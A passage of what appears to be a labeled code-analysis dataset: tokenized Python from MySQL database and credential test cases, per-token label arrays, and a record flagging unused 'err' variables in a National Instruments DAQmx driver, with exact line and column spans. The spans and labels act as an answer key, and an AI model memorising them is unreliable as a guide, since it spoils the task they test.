">:", "<", "password", ">", "@", "127", ".0", ".0", ".1", ":", "3306", "/", "my", "\\u", "db", "\\u", "url", "\\u", "name", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "driver_", "._", "get", "\\u", "connection_", "(_", "database_", "=_", "self_", "._", "database_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Manage", "Databa", "se", "My", "SQL", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Test", " ", "case", " ", "to", " ", "mana", "ging", " ", "databa", "se", " ", "in", " ", "mysql", " ", "eng", "ine", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Manage", "Databa", "se", "My", "SQL", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Manage", "Databa", "se", "My", "SQL", "Test", "Case_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "database_", "=_", "factor", "y", "\\u", "logical", "_", "._", "Databa", "se", "Factory_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "databa", "sei", "nfra", "_", "=_", "self_", "._", "databa", "sei", "nfra", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "ensure", " ", "databa", "se", " ", "is", " ", "dropped", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "fake", " ", "driver_", "\\u\\u\\uNL\\u\\u\\u_", "driver_", "=_", "self_", "._", "databa", "sei", "nfra", "_", "._", "get", "\\u", "driver_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "driver_", "._", "remove", "\\u", "database_", "(_", "self_", "._", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Manage", "Databa", "se", "My", "SQL", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "Database_", "._", "objects_", "._", "filter_", "(_", "databa", "sei", "nfra", "\\u", "id_", "=_", "self_", "._", "databa", "sei", "nfra", "_", "._", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "database_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "super_", "(_", "Manage", "Databa", "se", "My", "SQL", "Test", "Case_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Manage", "Databa", "se", "My", "SQL", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "mysql", "db", "\\u", "create", "\\u", "and", "\\u", "drop", "\\u", "database_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "LOG_", "._", "debug_", "(_", "\"", "mysql", "\\u", "client", ":", " ", "%", "s", "\"_", "%_", "type_", "(_", "self_", "._", "mysql", "\\u", "client_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "ensure", "s", " ", "databa", "se", " ", "is", " ", "removed_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "driver_", "._", "remove", "\\u", "database_", "(_", "self_", "._", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "self_", "._", "database_", "._", "name_", "in_", "self_", "._", "driver_", "._", "list", "\\u", "databases_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "driver_", "._", "create", "\\u", "database_", "(_", "self_", "._", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "database_", "._", "name_", "in_", "self_", "._", "driver_", "._", "list", "\\u", "databases_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "drop", " ", "database_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "driver_", "._", "remove", "\\u", "database_", "(_", "self_", "._", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "self_", "._", "database_", "._", "name_", "in_", "self_", "._", "driver_", "._", "list", "\\u", "databases_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Manage", "Cred", "ential", "s", "My", "SQL", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Test", " ", "case", " ", "to", " ", "mana", "ging", " ", "cred", "ential", "s", " ", "in", " ", "mysql", "db", " ", "eng", "ine", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Manage", "Cred", "ential", "s", "My", "SQL", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Manage", "Cred", "ential", "s", "My", "SQL", "Test", "Case_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "database_", "=_", "factor", "y", "\\u", "logical", "_", "._", "Databa", "se", "Factory_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "databa", "sei", "nfra", "_", "=_", "self_", "._", "databa", "sei", "nfra", "_", ",_", "name_", "=_", "\"", "test\\u", "mysql", "\\u", "cred", "ential", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "ensure", "s", " ", "databa", "se", " ", "doe", "st", " ", "not", " ", "exists_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "driver_", "._", "remove", "\\u", "database_", "(_", "self_", "._", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "credential_", "=_", "factor", "y", "\\u", "logical", "_", "._", "Cred", "ential", "Factory_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "database_", "=_", "self_", "._", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "driver_", "._", "create", "\\u", "database_", "(_", "self_", "._", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Manage", "Cred", "ential", "s", "My", "SQL", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "driver_", "._", "remove", "\\u", "database_", "(_", "self_", "._", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "credential_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "database_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", "Manage", "Cred", "ential", "s", "My", "SQL", "Test", "Case_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Manage", "Cred", "ential", "s", "My", "SQL", "Test", "Case_", "(_", "Abstract", "Test", "Drive", "r", "Mys", "ql_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "mysql", "db", "\\u", "create", "\\u\\u", "and", "\\u", "remove", "\\u", "credential_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "False_", "(_", "self_", "._", "credential_", "._", "user_", "in_", "self_", "._", "driver_", "._", "list", "\\u", "users_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "driver_", "._", "create", "\\u", "user_", "(_", "self_", "._", "credential_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "credential_", "._", "user_", "in_", "self_", "._", "driver_", "._", "list", "\\u", "users_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "driver_", "._", "remove", "\\u", "user_", "(_", "self_", "._", "credential_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "self_", "._", "credential_", "._", "user_", "in_", "self_", "._", "driver_", "._", "list", "\\u", "users_", "(_", ")_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
LabPy/lantz/lantz/drivers/ni/daqmx/base.py
[ { "content": " def _load_task(self, name):\n err, self.__task_handle = self.lib.LoadTask(name, RetValue('u32'))\n self.name = name\n self.log_debug('Loaded task with {} ({})'.format(self.name, self.__task_handle))", "metadata": "root.Task._load_task", "header": "['class', 'Task', '(', '_Base', ')', ':', '___EOS___']", "index": 378 }, { "content": " def _create_task(self, name):\n err, self.__task_handle = self.lib.CreateTask(name, RetValue('u32'))\n err, self.name = self.lib.GetTaskName(*RetStr(default_buf_size))\n self.log_debug('Created task with {} ({})'.format(self.name, self.__task_handle))", "metadata": "root.Task._create_task", "header": "['class', 'Task', '(', '_Base', ')', ':', '___EOS___']", "index": 383 }, { "content": " @Feat(values={None: None}.update(_EDGE_TYPES))\n def arm_start_trigger_edge(self):\n \"\"\"on which edge of a digital signal to arm the task\n for a Start Trigger\n\n Set to None to reset\n \"\"\"\n err, value = self.lib.GetDigEdgeArmStartTrigEdge(RetValue('i32'))", "metadata": "root.Task.arm_start_trigger_edge", "header": "['class', 'Task', '(', '_Base', ')', ':', '___EOS___']", "index": 1329 }, { "content": " @buffer_size.setter\n def buffer_size(self, size):\n if size is None:\n fun = self.__get_fun('ResetBuf{}BufSize')\n err = fun()\n else:\n fun = self.__get_fun('SetBuf{}BufSize')\n err = fun(size)", "metadata": "root.Channel.buffer_size", "header": "['class', 'Channel', '(', '_Base', ')', ':', '___EOS___']", "index": 1592 }, { "content": " @max.setter\n def max(self, value):\n if value is None:\n fun = self.__get_fun('Reset{}Max')\n err = fun()\n else:\n fun = self.__get_fun('Set{}Max')\n err = fun(value)", "metadata": "root.Channel.max", "header": "['class', 'Channel', '(', '_Base', ')', ':', '___EOS___']", "index": 1611 }, { "content": " @min.setter\n def min(self, value):\n if value is None:\n fun = self.__get_fun('Reset{}Min')\n err = fun()\n else:\n fun = self.__get_fun('Set{}Min')\n err = fun(value)", "metadata": "root.Channel.min", "header": "['class', 'Channel', '(', '_Base', ')', ':', '___EOS___']", "index": 1630 }, { "content": " @range_high.setter\n def range_high(self, value):\n if value is None:\n fun = self.__get_fun('Reset{}RngHigh')\n err = fun()\n else:\n fun = self.__get_fun('Set{}RngHigh')\n err = fun(value)", "metadata": "root.Channel.range_high", "header": "['class', 'Channel', '(', '_Base', ')', ':', '___EOS___']", "index": 1651 }, { "content": " @range_low.setter\n def range_low(self, value):\n if value is None:\n fun = self.__get_fun('Reset{}RngLow')\n err = fun()\n else:\n fun = self.__get_fun('Set{}RngLow')\n err = fun(value)", "metadata": "root.Channel.range_low", "header": "['class', 'Channel', '(', '_Base', ')', ':', '___EOS___']", "index": 1672 }, { "content": " @gain.setter\n def gain(self, value):\n if value is None:\n fun = self.__get_fun('Reset{}Gain')\n err = fun()\n else:\n fun = self.__get_fun('Set{}Gain')\n err = fun(value)", "metadata": "root.Channel.gain", "header": "['class', 'Channel', '(', '_Base', ')', ':', '___EOS___']", "index": 1691 }, { "content": " @auto_zero_mode.setter\n def auto_zero_mode(self, value):\n if value is None:\n fun = self.__get_fun('Reset{}AutoZeroMode')\n err = fun()\n else:\n fun = self.__get_fun('Set{}AutoZeroMode')\n err = fun(value)", "metadata": "root.Channel.auto_zero_mode", "header": "['class', 'Channel', '(', '_Base', ')', ':', '___EOS___']", "index": 1746 }, { "content": " @data_transfer_mode.setter\n def data_transfer_mode(self, value):\n if value is None:\n fun = self.__get_fun('Reset{}DataXferMech')\n err = fun()\n else:\n fun = self.__get_fun('Set{}DataXferMech')\n err = fun(value)", "metadata": "root.Channel.data_transfer_mode", "header": "['class', 'Channel', '(', '_Base', ')', ':', '___EOS___']", "index": 1768 }, { "content": " @duplicate_count_prevention_enabled.setter\n def duplicate_count_prevention_enabled(self, value):\n if value is None:\n err = self.lib.ResetCIDupCountPrevent()\n else:\n err = self.lib.SetCIDupCountPrevent(value)", "metadata": "root.Channel.duplicate_count_prevention_enabled", "header": "['class', 'Channel', '(', '_Base', ')', ':', '___EOS___']", "index": 1786 }, { "content": " @timebase_rate.setter\n def timebase_rate(self, value):\n if value is None:\n err = self.lib.ResetCICtrTimebaseRate()\n else:\n err = self.lib.SetCICtrTimebaseRate(value)", "metadata": "root.Channel.timebase_rate", "header": "['class', 'Channel', '(', '_Base', ')', ':', '___EOS___']", "index": 1807 } ]
[ { "span": "err,", "start_line": 379, "start_column": 8, "end_line": 379, "end_column": 11 }, { "span": "err,", "start_line": 385, "start_column": 8, "end_line": 385, "end_column": 11 }, { "span": "err,", "start_line": 1336, "start_column": 8, "end_line": 1336, "end_column": 11 }, { "span": "value ", "start_line": 1336, "start_column": 13, "end_line": 1336, "end_column": 18 }, { "span": "err ", "start_line": 1596, "start_column": 12, "end_line": 1596, "end_column": 15 }, { "span": "err ", "start_line": 1599, "start_column": 12, "end_line": 1599, "end_column": 15 }, { "span": "err ", "start_line": 1615, "start_column": 12, "end_line": 1615, "end_column": 15 }, { "span": "err ", "start_line": 1618, "start_column": 12, "end_line": 1618, "end_column": 15 }, { "span": "err ", "start_line": 1634, "start_column": 12, "end_line": 1634, "end_column": 15 }, { "span": "err ", "start_line": 1637, "start_column": 12, "end_line": 1637, "end_column": 15 }, { "span": "err ", "start_line": 1655, "start_column": 12, "end_line": 1655, "end_column": 15 }, { "span": "err ", "start_line": 1658, "start_column": 12, "end_line": 1658, "end_column": 15 }, { "span": "err ", "start_line": 1676, "start_column": 12, "end_line": 1676, "end_column": 15 }, { "span": "err ", "start_line": 1679, "start_column": 12, "end_line": 1679, "end_column": 15 }, { "span": "err ", "start_line": 1695, "start_column": 12, "end_line": 1695, "end_column": 15 }, { "span": "err ", "start_line": 1698, "start_column": 12, "end_line": 1698, "end_column": 15 }, { "span": "err ", "start_line": 1750, "start_column": 12, "end_line": 1750, "end_column": 15 }, { "span": "err ", "start_line": 1753, "start_column": 12, "end_line": 1753, "end_column": 15 }, { "span": "err ", "start_line": 1772, "start_column": 12, "end_line": 1772, "end_column": 15 }, { "span": "err ", "start_line": 1775, "start_column": 12, "end_line": 1775, "end_column": 15 }, { "span": "err ", "start_line": 1789, "start_column": 12, "end_line": 1789, "end_column": 15 }, { "span": "err ", "start_line": 1791, "start_column": 12, "end_line": 1791, "end_column": 15 }, { "span": "err ", "start_line": 1810, "start_column": 12, "end_line": 1810, "end_column": 15 }, { "span": "err ", "start_line": 1812, "start_column": 12, "end_line": 1812, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Task_", "(_", "\\u", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "load", "\\u", "task_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "err_", ",_", "self_", "._", "\\u\\u", "task", "\\u", "handle_", "=_", "self_", "._", "lib_", "._", "Load", "Task_", "(_", "name_", ",_", "Ret", "Value_", "(_", "'", "u32", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "name_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "\\u", "debug_", "(_", "'", "Load", "ed", " ", "task", " ", "with", " ", "{}", " ", "({})'_", "._", "format_", "(_", "self_", "._", "name_", ",_", "self_", "._", "\\u\\u", "task", "\\u", "handle_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Task_", "(_", "\\u", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "create", "\\u", "task_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "err_", ",_", "self_", "._", "\\u\\u", "task", "\\u", "handle_", "=_", "self_", "._", "lib_", "._", "Creat", "e", "Task_", "(_", "name_", ",_", "Ret", "Value_", "(_", "'", "u32", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", ",_", "self_", "._", "name_", "=_", "self_", "._", "lib_", "._", "Get", "Task", "Name_", "(_", "*_", "Ret", "Str_", "(_", "default", "\\u", "buf", "\\u", "size_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "\\u", "debug_", "(_", "'", "Creat", "ed", " ", "task", " ", "with", " ", "{}", " ", "({})'_", "._", "format_", "(_", "self_", "._", "name_", ",_", "self_", "._", "\\u\\u", "task", "\\u", "handle_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Task_", "(_", "\\u", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Feat", "_", "(_", "values_", "=_", "{_", "None_", ":_", "None_", "}_", "._", "update_", "(_", "\\u", "EDGE", "\\u", "TYPES_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "arm", "\\u", "start", "\\u", "trigger", "\\u", "edge_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "on", " ", "whi", "ch", " ", "edge", " ", "of", " ", "a", " ", "digital", " ", "signal", " ", "to", " ", "arm", " ", "the", " ", "task", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "a", " ", "Start", " ", "Trigger", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Set", " ", "to", " ", "Non", "e", " ", "to", " ", "reset", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", ",_", "value_", "=_", "self_", "._", "lib_", "._", "Get", "Dig", "Ed", "ge", "Arm", "Start", "Trig", "Edge_", "(_", "Ret", "Value_", "(_", "'", "i3", "2", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Channel_", "(_", "\\u", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "buffer", "\\u", "size_", "._", "setter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "buffer", "\\u", "size_", "(_", "self_", ",_", "size_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "size_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Reset", "Bu", "f", "{}", "Bu", "f", "Size", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Set", "Bu", "f", "{}", "Bu", "f", "Size", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Channel_", "(_", "\\u", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "max_", "._", "setter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "max_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Reset", "{}", "Max", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Set", "{}", "Max", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Channel_", "(_", "\\u", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "min_", "._", "setter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "min_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Reset", "{}", "Min", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Set", "{}", "Min", 